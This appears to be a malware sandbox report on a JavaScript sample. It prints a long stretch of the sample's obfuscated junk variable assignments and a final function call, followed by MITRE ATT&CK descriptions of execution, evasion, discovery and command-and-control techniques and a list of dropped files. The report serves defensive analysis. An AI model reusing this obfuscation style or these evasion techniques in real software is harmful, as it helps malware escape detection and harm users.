631	zjppph = "o";
632	zjppph = "y";
633	zjppph = "k";
634	zjppph = "K";
635	zjppph = "V";
636	zjppph = "n";
637	zjppph = "X";
638	zjppph = "Y";
639	zjppph = "7";
640	qeqyo = "U";
641	qeqyo = "y";
642	qeqyo = "v";
643	qeqyo = "D";
644	qeqyo = "w";
645	qeqyo = "s";
646	qeqyo = "&";
647	bkekcitbc = "r";
648	bkekcitbc = "i";
649	bkekcitbc = "l";
650	bkekcitbc = "t";
651	bkekcitbc = "F";
652	bkekcitbc = "r";
653	bkekcitbc = "H";
654	bkekcitbc = "f";
655	bkekcitbc = "Z";
656	bkekcitbc = "n";
657	bkekcitbc = "X";
658	bkekcitbc = "t";
659	bkekcitbc = "e";
660	bkekcitbc = "g";
661	bkekcitbc = "q";
662	bkekcitbc = "c";
663	bkekcitbc = "H";
664	bkekcitbc = "O";
665	bkekcitbc = "i";
666	bkekcitbc = "u";
667	bkekcitbc = "k";
668	bkekcitbc = "A";
669	bkekcitbc = "B";
670	bkekcitbc = "f";
671	bkekcitbc = "y";
672	bkekcitbc = "N";
673	bkekcitbc = "h";
674	bkekcitbc = "L";
675	bkekcitbc = "b";
676	bkekcitbc = "N";
677	bkekcitbc = "A";
678	bkekcitbc = "V";
679	bkekcitbc = "I";
680	bkekcitbc = "d";
681	bkekcitbc = "q";
682	bkekcitbc = "V";
683	bkekcitbc = "B";
684	bkekcitbc = "z";
685	bkekcitbc = "M";
686	bkekcitbc = "u";
687	bkekcitbc = "x";
688	vkbuaqloa = "u";
689	vkbuaqloa = "f";
690	vkbuaqloa = "c";
691	vkbuaqloa = "o";
692	vkbuaqloa = "H";
693	vkbuaqloa = "I";
694	vkbuaqloa = "e";
695	vkbuaqloa = "G";
696	vkbuaqloa = "A";
697	vkbuaqloa = "B";
698	vkbuaqloa = "w";
699	vkbuaqloa = "E";
700	vkbuaqloa = "l";
701	vkbuaqloa = "h";
702	vkbuaqloa = "y";
703	vkbuaqloa = "R";
704	vkbuaqloa = "l";
705	vkbuaqloa = "n";
706	vkbuaqloa = "k";
707	vkbuaqloa = "I";
708	xsbvnnj = "R";
709	xsbvnnj = "T";
710	xsbvnnj = "i";
711	xsbvnnj = "g";
712	xsbvnnj = "G";
713	xsbvnnj = "i";
714	xsbvnnj = "D";
715	xsbvnnj = "Z";
716	xsbvnnj = "q";
717	xsbvnnj = "A";
718	xsbvnnj = "d";
719	xsbvnnj = "h";
720	xsbvnnj = "y";
721	xsbvnnj = "O";
722	xsbvnnj = "E";
723	xsbvnnj = "b";
724	xsbvnnj = "d";
725	xsbvnnj = "G";
726	xsbvnnj = "E";
727	xsbvnnj = "R";
728	xsbvnnj = "C";
729	xsbvnnj = "%";
730	eellji = "q";
731	eellji = "T";
732	eellji = "F";
733	eellji = "F";
734	eellji = "t";
735	eellji = "l";
736	eellji = "u";
737	eellji = "u";
738	eellji = "q";
739	eellji = "V";
740	eellji = "P";
741	eellji = "s";
742	eellji = "A";
743	eellji = "F";
744	eellji = "a";
745	eellji = "Q";
746	eellji = "C";
747	pllbli = "S";
748	pllbli = "b";
749	pllbli = "i";
750	pllbli = "Y";
751	pllbli = "E";
752	pllbli = "f";
753	pllbli = "z";
754	pllbli = "z";
755	pllbli = "K";
756	pllbli = "j";
757	pllbli = "p";
758	pllbli = "T";
759	pllbli = "B";
760	pllbli = "G";
761	pllbli = "U";
762	glfdsgxry = "e";
763	glfdsgxry = "k";
764	glfdsgxry = "V";
765	glfdsgxry = "N";
766	glfdsgxry = "q";
767	glfdsgxry = "U";
768	glfdsgxry = "e";
769	glfdsgxry = "I";
770	glfdsgxry = "Q";
771	glfdsgxry = "K";
772	glfdsgxry = "x";
773	glfdsgxry = "O";
774	glfdsgxry = "d";
775	glfdsgxry = "x";
776	glfdsgxry = "J";
777	glfdsgxry = "u";
778	glfdsgxry = "b";
779	glfdsgxry = "h";
780	glfdsgxry = "a";
781	glfdsgxry = "i";
782	glfdsgxry = "a";
783	glfdsgxry = "Q";
784	glfdsgxry = "P";
785	glfdsgxry = "i";
786	glfdsgxry = "T";
787	glfdsgxry = "J";
788	glfdsgxry = "H";
789	glfdsgxry = "v";
790	glfdsgxry = "n";
791	glfdsgxry = "m";
792	glfdsgxry = "Z";
793	glfdsgxry = "N";
794	glfdsgxry = "q";
795	glfdsgxry = "J";
796	glfdsgxry = "u";
797	tadazt = "Q";
798	tadazt = "j";
799	tadazt = "O";
800	tadazt = "Y";
801	tadazt = "j";
802	tadazt = "c";
803	tadazt = "y";
804	tadazt = "T";
805	tadazt = "v";
806	tadazt = "x";
807	tadazt = "P";
808	tadazt = "T";
809	tadazt = "D";
810	tadazt = "z";
811	tadazt = "t";
812	tadazt = "c";
813	tadazt = "J";
814	tadazt = "B";
815	tadazt = "O";
816	tadazt = "K";
817	tadazt = "u";
818	tadazt = "t";
819	tadazt = "B";
820	tadazt = "T";
821	tadazt = "u";
822	tadazt = "s";
823	tadazt = "z";
824	tadazt = "b";
825	tadazt = "D";
826	tadazt = "F";
827	tadazt = "E";
828	xywyvheuy = "H";
829	woldqbqpt = "x";
830	woldqbqpt = "J";
831	woldqbqpt = "B";
832	woldqbqpt = "A";
833	woldqbqpt = "i";
834	woldqbqpt = "u";
835	woldqbqpt = "c";
836	woldqbqpt = "X";
837	woldqbqpt = "B";
838	woldqbqpt = "d";
839	woldqbqpt = "S";
840	woldqbqpt = "d";
841	woldqbqpt = "D";
842	woldqbqpt = "K";
843	woldqbqpt = "p";
844	woldqbqpt = "E";
845	woldqbqpt = "T";
846	woldqbqpt = "J";
847	woldqbqpt = "J";
848	woldqbqpt = "V";
849	woldqbqpt = "U";
850	woldqbqpt = "z";
851	woldqbqpt = "f";
852	deiei = "A";
853	deiei = "J";
854	deiei = "G";
855	deiei = "x";
856	deiei = "W";
857	deiei = "p";
858	deiei = "V";
859	deiei = "n";
860	deiei = "n";
861	deiei = "X";
862	deiei = "a";
863	deiei = "h";
864	deiei = "U";
865	deiei = "q";
866	deiei = "U";
867	deiei = "x";
868	deiei = "V";
869	deiei = "a";
870	deiei = "c";
871	deiei = "z";
872	deiei = "a";
873	deiei = "q";
874	deiei = "C";
875	deiei = "w";
876	deiei = "W";
877	deiei = "t";
878	deiei = "e";
879	deiei = "C";
880	deiei = "e";
881	deiei = "g";
882	deiei = "O";
883	deiei = " ";
884	bkwnhqs = "L";
885	bkwnhqs = "M";
886	bkwnhqs = "z";
887	bkwnhqs = "D";
888	bkwnhqs = "U";
889	bkwnhqs = "B";
890	bkwnhqs = "r";
891	bkwnhqs = "D";
892	bkwnhqs = "z";
893	bkwnhqs = "x";
894	bkwnhqs = "i";
895	bkwnhqs = "O";
896	bkwnhqs = "f";
897	bkwnhqs = "o";
898	bkwnhqs = "-";
899	zfyoomat = "g";
900	zfyoomat = "H";
901	zfyoomat = "Z";
902	zfyoomat = "F";
903	ilywtrb = "Q";
904	ilywtrb = "e";
905	ilywtrb = "r";
906	ilywtrb = "L";
907	ilywtrb = "z";
908	ilywtrb = "x";
909	ilywtrb = "m";
910	ilywtrb = "j";
911	ilywtrb = "D";
912	ilywtrb = "r";
913	ilywtrb = "H";
914	ilywtrb = "s";
915	ilywtrb = "Z";
916	ilywtrb = "z";
917	ilywtrb = "R";
918	ilywtrb = "O";
919	ilywtrb = "O";
920	ilywtrb = "H";
921	ilywtrb = "m";
922	ilywtrb = "g";
923	ilywtrb = "i";
924	ilywtrb = "H";
925	ilywtrb = "v";
926	ilywtrb = "S";
927	ilywtrb = "Z";
928	ilywtrb = "C";
929	ilywtrb = "D";
930	ilywtrb = "W";
931	ilywtrb = "o";
932	ilywtrb = "v";
933	ilywtrb = "g";
934	davavx = "C";
935	davavx = "R";
936	davavx = "Y";
937	davavx = "u";
938	davavx = "n";
939	davavx = "L";
940	davavx = "d";
941	davavx = "c";
942	davavx = "b";
943	davavx = "B";
944	davavx = "i";
945	davavx = "N";
946	davavx = "w";
947	davavx = "t";
948	davavx = "b";
949	davavx = "w";
950	davavx = "r";
951	davavx = "H";
952	davavx = "J";
953	davavx = "V";
954	davavx = "z";
955	davavx = "G";
956	davavx = "x";
957	davavx = "Q";
958	davavx = "z";
959	davavx = "i";
960	davavx = "Q";
961	kyuujb = "G";
962	kyuujb = "I";
963	kyuujb = ".";
964	ymerc = "c";
965	ymerc = "g";
966	ymerc = "C";
967	ymerc = "l";
968	ymerc = "A";
969	ymerc = "L";
970	ymerc = "u";
971	ymerc = "o";
972	uhdowdn = "n";
973	uhdowdn = "M";
974	uhdowdn = "e";
975	uhdowdn = "Z";
976	uhdowdn = "p";
977	uhdowdn = "m";
978	uhdowdn = "g";
979	uhdowdn = "x";
980	uhdowdn = "l";
981	uhdowdn = "s";
982	uhdowdn = "x";
983	uhdowdn = "Y";
984	uhdowdn = "W";
985	uhdowdn = "q";
986	uhdowdn = "z";
987	uhdowdn = "o";
988	uhdowdn = "e";
989	uhdowdn = "t";
990	uhdowdn = "C";
991	uhdowdn = "c";
992	uhdowdn = "B";
993	uhdowdn = "Y";
994	ltnaip = "r";
995	ltnaip = "O";
996	ltnaip = "G";
997	ltnaip = "j";
998	ltnaip = "j";
999	ltnaip = "U";
1000	ltnaip = "a";
1001	ltnaip = "a";
1002	ltnaip = "z";
1003	ltnaip = "m";
1004	ltnaip = "V";
1005	ltnaip = "U";
1006	ltnaip = "d";
1007	ltnaip = "C";
1008	ltnaip = "t";
1009	giabe = "Z";
1010	giabe = "u";
1011	giabe = "i";
1012	giabe = "z";
1013	giabe = "v";
1014	giabe = "u";
1015	giabe = "u";
1016	giabe = "b";
1017	giabe = "T";
1018	gmtyhoi = "w";
1019	gmtyhoi = "m";
1020	gmtyhoi = "N";
1021	gmtyhoi = "v";
1022	gmtyhoi = "S";
1023	gmtyhoi = "k";
1024	gmtyhoi = "X";
1025	gmtyhoi = "r";
1026	gmtyhoi = "p";
1027	gmtyhoi = "p";
1028	gmtyhoi = "H";
1029	gmtyhoi = "Z";
1030	gmtyhoi = "K";
1031	gmtyhoi = "b";
1032	gmtyhoi = "b";
1033	gmtyhoi = "b";
1034	gmtyhoi = "c";
1035	gmtyhoi = "c";
1036	gmtyhoi = "B";
1037	gmtyhoi = "K";
1038	gmtyhoi = "d";
1039	gmtyhoi = "E";
1040	gmtyhoi = "J";
1041	gmtyhoi = "S";
1042	gmtyhoi = "w";
1043	gmtyhoi = "V";
1044	gmtyhoi = "n";
1045	gmtyhoi = "l";
1046	gtgxght = "K";
1047	gtgxght = "R";
1048	gtgxght = "w";
1049	gtgxght = "Y";
1050	gtgxght = "F";
1051	gtgxght = "p";
1052	gtgxght = "Z";
1053	gtgxght = "C";
1054	gtgxght = "Y";
1055	gtgxght = "g";
1056	gtgxght = "l";
1057	gtgxght = "i";
1058	gtgxght = "e";
1059	goqdyzm = "v";
1060	goqdyzm = "b";
1061	goqdyzm = "b";
1062	goqdyzm = "R";
1063	goqdyzm = "v";
1064	goqdyzm = "f";
1065	goqdyzm = "o";
1066	goqdyzm = "S";
1067	goqdyzm = "E";
1068	goqdyzm = "h";
1069	goqdyzm = "C";
1070	goqdyzm = "l";
1071	goqdyzm = "Z";
1072	goqdyzm = "w";
1073	goqdyzm = "p";
1074	goqdyzm = "1";
1075	omgukd = "l";
1076	omgukd = "y";
1077	omgukd = "Q";
1078	omgukd = "N";
1079	omgukd = "A";
1080	omgukd = "D";
1081	omgukd = "W";
1082	omgukd = "v";
1083	omgukd = "v";
1084	omgukd = "o";
1085	omgukd = "O";
1086	omgukd = "p";
1087	omgukd = "A";
1088	omgukd = "G";
1089	omgukd = "G";
1090	omgukd = "E";
1091	omgukd = "a";
1092	omgukd = "k";
1093	omgukd = "r";
1094	omgukd = "L";
1095	omgukd = "C";
1096	omgukd = "f";
1097	omgukd = "H";
1098	omgukd = "F";
1099	omgukd = "a";
1100	omgukd = "N";
1101	omgukd = "z";
1102	omgukd = "P";
1103	omgukd = "s";
1104	omgukd = "Y";
1105	omgukd = "T";
1106	omgukd = "R";
1107	omgukd = "K";
1108	axuqdc = "j";
1109	axuqdc = "z";
1110	axuqdc = "X";
1111	axuqdc = "l";
1112	axuqdc = "B";
1113	axuqdc = "q";
1114	axuqdc = "z";
1115	axuqdc = "p";
1116	axuqdc = "z";
1117	axuqdc = "x";
1118	axuqdc = "G";
1119	axuqdc = "B";
1120	axuqdc = "o";
1121	axuqdc = "t";
1122	axuqdc = "L";
1123	axuqdc = "z";
1124	axuqdc = "A";
1125	axuqdc = "H";
1126	axuqdc = "w";
1127	axuqdc = "C";
1128	axuqdc = "d";
1129	axuqdc = "p";
1130	axuqdc = "M";
1131	axuqdc = "s";
1132	axuqdc = "Y";
1133	axuqdc = "h";
1134	axuqdc = "R";
1135	axuqdc = "j";
1136	axuqdc = "k";
1137	axuqdc = "m";
1138	axuqdc = "v";
1139	axuqdc = "d";
1140	axuqdc = "a";
1141	axuqdc = "F";
1142	axuqdc = "i";
1143	axuqdc = "p";
1144	axuqdc = "h";
1145	axuqdc = "E";
1146	axuqdc = "d";
1147	jlsgcmlew = "h";
1148	jlsgcmlew = "X";
1149	jlsgcmlew = "N";
1150	jlsgcmlew = "b";
1151	jlsgcmlew = "u";
1152	jlsgcmlew = "S";
1153	jlsgcmlew = "p";
1154	jlsgcmlew = "N";
1155	jlsgcmlew = "p";
1156	jlsgcmlew = "e";
1157	jlsgcmlew = "Z";
1158	jlsgcmlew = "q";
1159	jlsgcmlew = "i";
1160	jlsgcmlew = "A";
1161	jlsgcmlew = "C";
1162	jlsgcmlew = "M";
1163	jlsgcmlew = "a";
1164	jlsgcmlew = "u";
1165	jlsgcmlew = "y";
1166	jlsgcmlew = "Q";
1167	jlsgcmlew = "c";
1168	jlsgcmlew = "C";
1169	jlsgcmlew = "/";
1170	kyagdlv = "k";
1171	kyagdlv = "Z";
1172	kyagdlv = "s";
1173	kyagdlv = "B";
1174	kyagdlv = "J";
1175	kyagdlv = "m";
1176	kyagdlv = "s";
1177	kyagdlv = "T";
1178	kyagdlv = "r";
1179	kyagdlv = "D";
1180	kyagdlv = "s";
1181	kyagdlv = "s";
1182	kyagdlv = "V";
1183	kyagdlv = "U";
1184	kyagdlv = "r";
1185	kyagdlv = "s";
1186	kyagdlv = "w";
1187	kyagdlv = "b";
1188	kyagdlv = "U";
1189	kyagdlv = "D";
1190	kyagdlv = "e";
1191	kyagdlv = "u";
1192	kyagdlv = "y";
1193	kyagdlv = "V";
1194	kyagdlv = "B";
1195	kyagdlv = "z";
1196	kyagdlv = "R";
1197	kyagdlv = "H";
1198	kyagdlv = "m";
1199	kyagdlv = "m";
1200	kyagdlv = "G";
1201	kyagdlv = "u";
1202	kyagdlv = "w";
1203	kyagdlv = "d";
1204	kyagdlv = "t";
1205	kyagdlv = "G";
1206	kyagdlv = "r";
1207	qwcndnxo = "N";
1208	qwcndnxo = "I";
1209	qwcndnxo = "k";
1210	qwcndnxo = "m";
1211	qwcndnxo = "z";
1212	qwcndnxo = "n";
1213	qwcndnxo = "j";
1214	qwcndnxo = "H";
1215	qwcndnxo = "a";
1216	qpspllyhy = "g";
1217	qpspllyhy = "H";
1218	qpspllyhy = "q";
1219	qpspllyhy = "A";
1220	qpspllyhy = "x";
1221	qpspllyhy = "R";
1222	qpspllyhy = "K";
1223	qpspllyhy = "U";
1224	qpspllyhy = "P";
1225	qpspllyhy = "u";
1226	qpspllyhy = "y";
1227	qpspllyhy = "H";
1228	qpspllyhy = "u";
1229	qpspllyhy = "L";
1230	qpspllyhy = "F";
1231	qpspllyhy = "r";
1232	qpspllyhy = "B";
1233	qpspllyhy = "y";
1234	qpspllyhy = "W";
1235	qpspllyhy = "c";
1236	qpspllyhy = "D";
1237	qpspllyhy = "d";
1238	qpspllyhy = "O";
1239	qpspllyhy = "a";
1240	qpspllyhy = "v";
1241	qpspllyhy = "d";
1242	qpspllyhy = "H";
1243	qpspllyhy = "G";
1244	qpspllyhy = "d";
1245	qpspllyhy = "O";
1246	qpspllyhy = "X";
1247	qpspllyhy = "C";
1248	qpspllyhy = "X";
1249	qpspllyhy = "m";
1250	hammaup = "h";
1251	hammaup = "I";
1252	hammaup = "s";
1253	hammaup = "l";
1254	hammaup = "G";
1255	hammaup = "F";
1256	hammaup = "P";
1257	hammaup = "L";
1258	hammaup = "i";
1259	hammaup = "O";
1260	hammaup = "C";
1261	hammaup = "s";
1262	hammaup = "c";
1263	hammaup = "h";
1264	hammaup = "d";
1265	hammaup = "V";
1266	hammaup = "h";
1267	hammaup = "v";
1268	hammaup = "f";
1269	hammaup = "T";
1270	hammaup = "L";
1271	hammaup = "J";
1272	hammaup = "N";
1273	hammaup = "I";
1274	hammaup = "r";
1275	hammaup = "J";
1276	hammaup = "X";
1277	hammaup = "F";
1278	hammaup = "m";
1279	hammaup = "E";
1280	hammaup = "v";
1281	hammaup = "a";
1282	hammaup = "R";
1283	hammaup = "L";
1284	hammaup = "k";
1285	hammaup = "b";
1286	hammaup = "I";
1287	hammaup = "x";
1288	hammaup = "s";
1289	mpvbkt = "c";
1290	mpvbkt = "n";
1291	mpvbkt = "K";
1292	mpvbkt = "s";
1293	mpvbkt = "A";
1294	mpvbkt = "h";
1295	mpvbkt = "n";
1296	mpvbkt = "Z";
1297	mpvbkt = "G";
1298	mpvbkt = "b";
1299	mpvbkt = "g";
1300	mpvbkt = "o";
1301	mpvbkt = "l";
1302	mpvbkt = "r";
1303	mpvbkt = "0";
1304	kaujzsa = "E";
1305	kaujzsa = "n";
1306	kaujzsa = "B";
1307	kaujzsa = "S";
1308	xthujj = "Q";
1309	xthujj = "P";
1310	xthujj = "r";
1311	xthujj = "k";
1312	xthujj = "L";
1313	xthujj = "e";
1314	xthujj = "j";
1315	xthujj = "r";
1316	xthujj = "o";
1317	xthujj = "g";
1318	xthujj = "X";
1319	xthujj = "t";
1320	xthujj = "C";
1321	xthujj = "U";
1322	xthujj = "K";
1323	xthujj = "g";
1324	xthujj = "s";
1325	xthujj = "a";
1326	xthujj = "z";
1327	xthujj = "E";
1328	xthujj = "I";
1329	xthujj = "c";
1330	xthujj = "y";
1331	xthujj = "S";
1332	xthujj = "D";
1333	xthujj = "U";
1334	xthujj = "D";
1335	xthujj = "Q";
1336	xthujj = "t";
1337	xthujj = "X";
1338	xthujj = "u";
1339	xthujj = "L";
1340	xthujj = "c";
1341	xthujj = "p";
1342	xthujj = "J";
1343	xthujj = "l";
1344	xthujj = "l";
1345	xthujj = "N";
1346	xthujj = "R";
1347	xthujj = "N";
1348	rbwktu = "o";
1349	rbwktu = "k";
1350	rbwktu = "P";
1351	rbwktu = "b";
1352	rbwktu = "g";
1353	rbwktu = "z";
1354	rbwktu = "U";
1355	rbwktu = "U";
1356	rbwktu = "b";
1357	rbwktu = "C";
1358	rbwktu = "r";
1359	rbwktu = "T";
1360	rbwktu = "t";
1361	rbwktu = "W";
1362	rbwktu = "j";
1363	gwhtptg ( );	gwhtptg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 225008411339129134.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

